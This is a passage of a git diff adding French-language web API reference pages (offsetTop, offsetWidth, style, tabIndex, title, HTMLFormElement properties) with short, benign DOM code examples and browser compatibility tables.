+<p><code><a href="fr/DOM/element.offsetParent">offsetParent</a></code>, <code><a href="fr/DOM/element.offsetTop">offsetTop</a></code>, <code><a href="fr/DOM/element.offsetWidth">offsetWidth</a></code>, <code><a href="fr/DOM/element.offsetHeight">offsetHeight</a></code></p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Cette propriété ne fait partie d'aucun standard ou recommandation technique du W3C.</p>
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetleft.asp">MSDN: offsetLeft</a></p>
+<p>{{ languages( { "en": "en/DOM/element.offsetLeft", "pl": "pl/DOM/element.offsetLeft" } ) }}</p>
diff --git a/files/fr/web/api/htmlelement/offsetparent/index.html b/files/fr/web/api/htmlelement/offsetparent/index.html
new file mode 100644
index 0000000000..d466de34de
--- /dev/null
+++ b/files/fr/web/api/htmlelement/offsetparent/index.html
@@ -0,0 +1,22 @@
+---
+title: element.offsetParent
+slug: Web/API/HTMLElement/offsetParent
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement/offsetParent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie une référence à l'objet qui est l'élément conteneur positionné le plus proche (dans la hiérarchie de positionnement). Si l'élément n'est pas positionné, c'est l'élément racine (html en mode de respect des standards ; body en mode de rendu quirks) qui est l'<b>offsetParent</b>.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>objetParent</i> = element.offsetParent
+</pre>
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+<ul>
+ <li><code>objetParent</code> est une référence à l'élément dans lequel l'élément courant est positionné.</li>
+</ul>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.offsetParent", "pl": "pl/DOM/element.offsetParent" } ) }}</p>
diff --git a/files/fr/web/api/htmlelement/offsettop/index.html b/files/fr/web/api/htmlelement/offsettop/index.html
new file mode 100644
index 0000000000..6be7a15bd3
--- /dev/null
+++ b/files/fr/web/api/htmlelement/offsettop/index.html
@@ -0,0 +1,50 @@
+---
+title: element.offsetTop
+slug: Web/API/HTMLElement/offsetTop
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/HTMLElement/offsetTop
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p><strong>offsetTop</strong> renvoie la distance entre l'élément courant et le haut du nœud <a href="/fr/docs/DOM/element.offsetParent"><code>offsetParent</code></a>.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval"><em>topPos</em> = element.offsetTop;
+</pre>
+
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+
+<ul>
+ <li><code>topPos</code> est le nombre de pixels depuis le haut de l'élément parent.</li>
+</ul>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre>d = document.getElementById("div1");
+
+topPos = d.offsetTop;
+
+if (topPos &gt; 10 ) {
+
+    // l'objet est décalé de plus de
+    // 10 pixels par rapport à son parent
+
+}
+</pre>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+
+<p><a class="external" href="http://msdn2.microsoft.com/en-us/library/ms534303.aspx"><em>offsetTop definition</em> sur MSDN</a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/element.offsetTop", "pl": "pl/DOM/element.offsetTop" } ) }}</p>
diff --git a/files/fr/web/api/htmlelement/offsetwidth/index.html b/files/fr/web/api/htmlelement/offsetwidth/index.html
new file mode 100644
index 0000000000..4d65ebae61
--- /dev/null
+++ b/files/fr/web/api/htmlelement/offsetwidth/index.html
@@ -0,0 +1,56 @@
+---
+title: element.offsetWidth
+slug: Web/API/HTMLElement/offsetWidth
+translation_of: Web/API/HTMLElement/offsetWidth
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Renvoie la largeur totale d'un élément.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">var <em>offsetWidth</em> = <em>element</em>.offsetWidth;
+</pre>
+
+<p><code>offsetWidth</code> est une propriété en lecture seule.</p>
+
+<h3 id="Description" name="Description">Description</h3>
+
+<p>Typiquement, l'attribut <code>offsetWidth</code> est une mesure qui comprend les bordures de l'élément, ses marges internes horizontales (padding), la barre de défilement verticale si présente et affichée, et la largeur CSS de l'élément.</p>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:offsetWidth.png"></p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p><code>offsetWidth</code> fait partie du modèle objet <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> de Microsoft Internet Explorer. Elle ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p><code>offsetWidth</code> est une propriété du modèle objet <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> provenant de Microsoft Internet Explorer. On l'appelle parfois la largeur physique ou graphique d'un élément, ou sa largeur « border-box » (bordure et boîte).</p>
+
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetwidth.asp?frame=true"><em>offsetWidth definition</em> sur MSDN</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp"><em>Measuring Element Dimension and Location</em> sur MSDN</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/element.offsetWidth", "pl": "pl/DOM/element.offsetWidth" } ) }}</p>
diff --git a/files/fr/web/api/htmlelement/outertext/index.html b/files/fr/web/api/htmlelement/outertext/index.html
new file mode 100644
index 0000000000..02b825ffe4
--- /dev/null
+++ b/files/fr/web/api/htmlelement/outertext/index.html
@@ -0,0 +1,93 @@
+---
+title: HTMLElement.outerText
+slug: Web/API/HTMLElement/outerText
+tags:
+  - API
+  - DOM
+  - Propriété
+translation_of: Web/API/HTMLElement/outerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p><strong><code>HTMLElement.outerText</code></strong> n'est pas une propriété standard. En lecture, elle renvoie la même valeur que {{domxref("Node.innerText")}}. En écriture, elle supprime le noeud courant et le remplace par le texte fourni.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voir <a href="http://stackoverflow.com/questions/18481382/what-is-the-difference-between-innertext-and-outertext/18481435#18481435">cette réponse proposée sur StackOverflow</a>.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification. Discussion de la norme : <a href="https://github.com/whatwg/html/issues/668">whatwg/html#668</a>.</p>
+
+<p>Microsoft en a publié <a href="https://msdn.microsoft.com/en-us/library/ms534311(v=vs.85).aspx">une description sur MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.outerHTML")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/style/index.html b/files/fr/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..85a19bb89a
--- /dev/null
+++ b/files/fr/web/api/htmlelement/style/index.html
@@ -0,0 +1,57 @@
+---
+title: HTMLElement.style
+slug: Web/API/HTMLElement/style
+tags:
+  - DOM
+  - Style
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Renvoie un objet représentant l'attribut <code>style</code> de l'élément.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">var div = document.getElementById("div1");
+div.style.marginTop = ".25cm";
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>Étant donné que la propriété <code>style</code> d'un élément représente sa déclaration de style en-ligne, qui se trouve dans son attribut <code>style</code> et qui a la priorité la plus haute dans la cascade CSS, elle est utile pour définir un style pour un élément particulier.</p>
+
+<p>Cependant, elle n'est pas utile pour connaître le style de l'élément en général, puisqu'elle ne représente que les déclarations CSS définies dans l'attribut <code>style</code> de l'élément, et pas celles qui viennent d'autres règles de style, comme celles qui peuvent se trouver dans la section <code>&lt;head&gt;</code> ou des feuilles de style externes.</p>
+
+<p>Pour obtenir les valeurs de toutes les propriétés CSS pour un élément, vous devriez plutôt utiliser <code><a href="/fr/DOM/window.getComputedStyle" title="fr/DOM/window.getComputedStyle">window.getComputedStyle</a></code>.</p>
+
+<p>Consultez la <a href="/fr/docs/DOM/CSS" title="fr/DOM/CSS">liste des propriétés CSS DOM</a> pour une liste des propriétés CSS accessibles depuis le DOM. Vous y trouverez quelques notes supplémentaires concernant l'utilisation de la propriété <code>style</code> pour styler des éléments dans le DOM.</p>
+
+<p>Il est généralement préférable d'utiliser la propriété <code>style</code> plutôt que <code>elt.setAttribute('style', '...')</code> depuis un script, étant donné que l'utilisation de la propriété <code>style</code> n'écrasera pas les autres propriétés CSS qui peuvent avoir été spécifiées dans l'attribut <code>style</code>.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleRule-style">DOM Level 2 Core : style</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/style/css.html#CSS-CSSStyleRule-style">traduction en français</a> (non normative)</small></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.HTMLElement.style")}}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification"><span id="1236997045923S" style="display: none;"> </span>Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/en/CSS/CSS_Reference" title="en/CSS/CSS_Reference">Liste des propriétés CSS DOM</a> (en)</li>
+</ul>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Lien Externe</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3schools.com/HTMLDOM/dom_obj_style.asp" title="http://www.w3schools.com/HTMLDOM/dom_obj_style.asp">HTML DOM Style Object</a> — W3Schools.com (en)</li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/element.style", "ja": "ja/DOM/element.style", "pl": "pl/DOM/element.style" } ) }}</p>
diff --git a/files/fr/web/api/htmlelement/tabindex/index.html b/files/fr/web/api/htmlelement/tabindex/index.html
new file mode 100644
index 0000000000..b2dd8ca956
--- /dev/null
+++ b/files/fr/web/api/htmlelement/tabindex/index.html
@@ -0,0 +1,25 @@
+---
+title: element.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Obtient ou définit l'ordre de tabulation de l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">element.tabIndex = <em>iIndex</em>;
+</pre>
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+<ul>
+ <li><code>iIndex</code> est un nombre.</li>
+</ul>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre>b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+</pre>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40676705">DOM Level 2 HTML: tabIndex</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-40676705">traduction en français</a> (non normative)</small></li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/title/index.html b/files/fr/web/api/htmlelement/title/index.html
new file mode 100644
index 0000000000..3b406bc52b
--- /dev/null
+++ b/files/fr/web/api/htmlelement/title/index.html
@@ -0,0 +1,126 @@
+---
+title: HTMLElement.title
+slug: Web/API/HTMLElement/title
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - Propriété
+  - Reference
+translation_of: Web/API/HTMLElement/title
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La propriété <strong><code>HTMLElement.title</code></strong> représente le titre de l'élément, le texte habituellement affiché dans une fenêtre contextuelle d''info-bulle' lorsque la souris survole le nœud affiché.</p>
+
+<div class="note">
+<p>Si un nœud n'a pas d'attribut <code>title</code>, alors l'action par défaut est de l'hériter de son nœud parent, qui peut à son tour l'hériter de son nœud parent, etc..</p>
+
+<pre> &lt;div title="InfoCool"&gt;
+   &lt;div title=""&gt;le survol de la souris ici fera apparaître "InfoCool"&lt;/div&gt;
+   &lt;div title=" "&gt;le survol de la souris ici ne fera rien apparaître&lt;/div&gt;
+ &lt;/div&gt;
+</pre>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">var <em>chn</em> = <em>element</em>.title;<em>
+</em>element.title = <em>chn</em>;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js"> bouton1.title = "cliquer pour rafraîchir";
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-title', 'title')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement par rapport à la {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-78276800', 'title')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Pas de changement par rapport à la {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-78276800', 'title')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'attribut HTML global <a href="/fr/docs/Web/HTML/Attributs_universels/title"><strong>title</strong></a>.</li>
+</ul>
diff --git a/files/fr/web/api/htmlformcontrolscollection/index.html b/files/fr/web/api/htmlformcontrolscollection/index.html
new file mode 100644
index 0000000000..7924983b8c
--- /dev/null
+++ b/files/fr/web/api/htmlformcontrolscollection/index.html
@@ -0,0 +1,64 @@
+---
+title: HTMLFormControlsCollection
+slug: Web/API/HTMLFormControlsCollection
+tags:
+  - API
+  - Collection
+  - DOM
+  - Interface
+translation_of: Web/API/HTMLFormControlsCollection
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L'interface <strong><code>HTMLFormControlsCollection</code></strong> représente une <em>collection</em> <em>d'éléments de contrôle de formulaires</em>. Il représente les listes retournées par le {{domxref("HTMLFormElement")}} et le {{domxref("HTMLFieldSetElement")}} de la propriété d'interface {{domxref("HTMLFieldSetElement.elements", "elements")}}.</p>
+
+<p>Cette interface remplace une méthode de {{domxref("HTMLCollection")}}, sur laquelle elle est basée.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de son parent {{domxref("HTMLCollection")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite des méthodes de son parent {{domxref("HTMLCollection")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormControlsCollection.namedItem()")}}</dt>
+ <dd>Renvoie la {{domxref("RadioNodeList")}} (<em>liste de noeuds radio</em>) ou l'{{domxref("Element")}} dans la collection dont le <code>name</code> (<em>nom</em>) ou l'<code>id</code> (<em>identifiant</em>) correspond au nom spécifié, ou <code>null</code> si aucun noeud ne correspond. Noter que cette version de <code>namedItem()</code> cache celui hérité de {{domxref("HTMLCollection")}}. Comme pour le premier, en JavaScript, en utilisant le crochet de la syntaxe de tableau (<em>array</em>) avec une {{jsxref("String")}} (<em>chaîne de caractères</em>), <code><em>collection</em>["value"]</code> est équivalent à <code><em>collection</em>.namedItem("value")</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "infrastructure.html#htmlformcontrolscollection", "HTMLFormControlsCollection")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis le dernier instantané {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "infrastructure.html#htmlformcontrolscollection", "HTMLFormControlsCollection")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dans cet instantané de {{SpecName("HTML WHATWG")}}, <code>HTMLFormControlsCollections</code> est défini pour la première fois.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLFormControlsCollection")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLCollection")}}, {{domxref("RadioNodeList")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlformelement/acceptcharset/index.html b/files/fr/web/api/htmlformelement/acceptcharset/index.html
new file mode 100644
index 0000000000..281ebf7a43
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/acceptcharset/index.html
@@ -0,0 +1,27 @@
+---
+title: HTMLFormElement.acceptCharset
+slug: Web/API/HTMLFormElement/acceptCharset
+tags:
+  - HTMLFormElement
+translation_of: Web/API/HTMLFormElement/acceptCharset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété <code><strong>HTMLFormElement.acceptCharset</strong></code> représente une liste des codages de caratères acceptés par l'élément FORM concerné. Les valeurs de cette liste peuvent être séparés par des virgules ou des espaces.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>string</em> = form.acceptCharset;
+form.acceptCharset = <em>string</em><code>;</code>
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">inputs = document.forms["myform"].acceptCharset
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/html5/forms.html#dom-form-acceptcharset" title="http://www.w3.org/TR/html5/forms.html#dom-form-acceptcharset">HTML 5, Section 4.10.3: The Form Element</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-19661795">DOM Level 2 HTML: acceptCharset</a></p>
diff --git a/files/fr/web/api/htmlformelement/action/index.html b/files/fr/web/api/htmlformelement/action/index.html
new file mode 100644
index 0000000000..7963547cd3
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/action/index.html
@@ -0,0 +1,26 @@
+---
+title: HTMLFormElement.action
+slug: Web/API/HTMLFormElement/action
+translation_of: Web/API/HTMLFormElement/action
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété <strong><code>HTMLFormElement.action</code></strong> représente l'action associée à l'élément {{HTMLElement("form")}}.</p>
+
+<p>L'action d'un formulaire est le programme exécuté sur le serveur lorsque le formulaire est soumis. Cette propriété peut être récupérée ou définie.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>string</em> = form.action
+form.action = <em>string</em>
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>form.action = "/cgi-bin/publish";</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method" title="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method">HTML 5, Section 4.10.19.6, Form submission</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-74049184">DOM Level 2 HTML: action</a></p>
diff --git a/files/fr/web/api/htmlformelement/elements/index.html b/files/fr/web/api/htmlformelement/elements/index.html
new file mode 100644
index 0000000000..14ba012b3b
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/elements/index.html
@@ -0,0 +1,31 @@
+---
+title: HTMLFormElement.elements
+slug: Web/API/HTMLFormElement/elements
+translation_of: Web/API/HTMLFormElement/elements
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>La propriété <code><strong>HTMLFormElement.elements</strong></code> retourne une {{domxref("HTMLFormControlsCollection")}} ({{ HTMLVersionInline(4) }} <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506">HTMLCollection</a></code>) de tous les contrôles de formulaire contenu dans l'élément FORM, à l'exception des éléments de type <a href="/fr-FR/docs/HTML/Element/Input" title="input">input</a> dont l'attribut <code>type</code> est égal à <code>image</code>.</p>
+
+<p>Vous pouvez accéder à un élément particulier en utilisant soit un index soit le <code>name</code> ou l'<code>id</code> de l'élément.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeList</em> = <em>HTMLFormElement</em>.elements
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var inputs = document.getElementById("form1").elements;
+var inputByIndex = inputs[2];
+var inputByName = inputs["login"];
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/forms.html#dom-form-elements" title="http://www.w3.org/TR/html5/forms.html#dom-form-elements">HTML5, Section 4.10.3, The form Element</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76728479">DOM Level 2 HTML: elements</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlformelement/encoding/index.html b/files/fr/web/api/htmlformelement/encoding/index.html
new file mode 100644
index 0000000000..43c942335d
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/encoding/index.html
@@ -0,0 +1,10 @@
+---
+title: HTMLFormElement.encoding
+slug: Web/API/HTMLFormElement/encoding
+translation_of: Web/API/HTMLFormElement/encoding
+---
+<div>
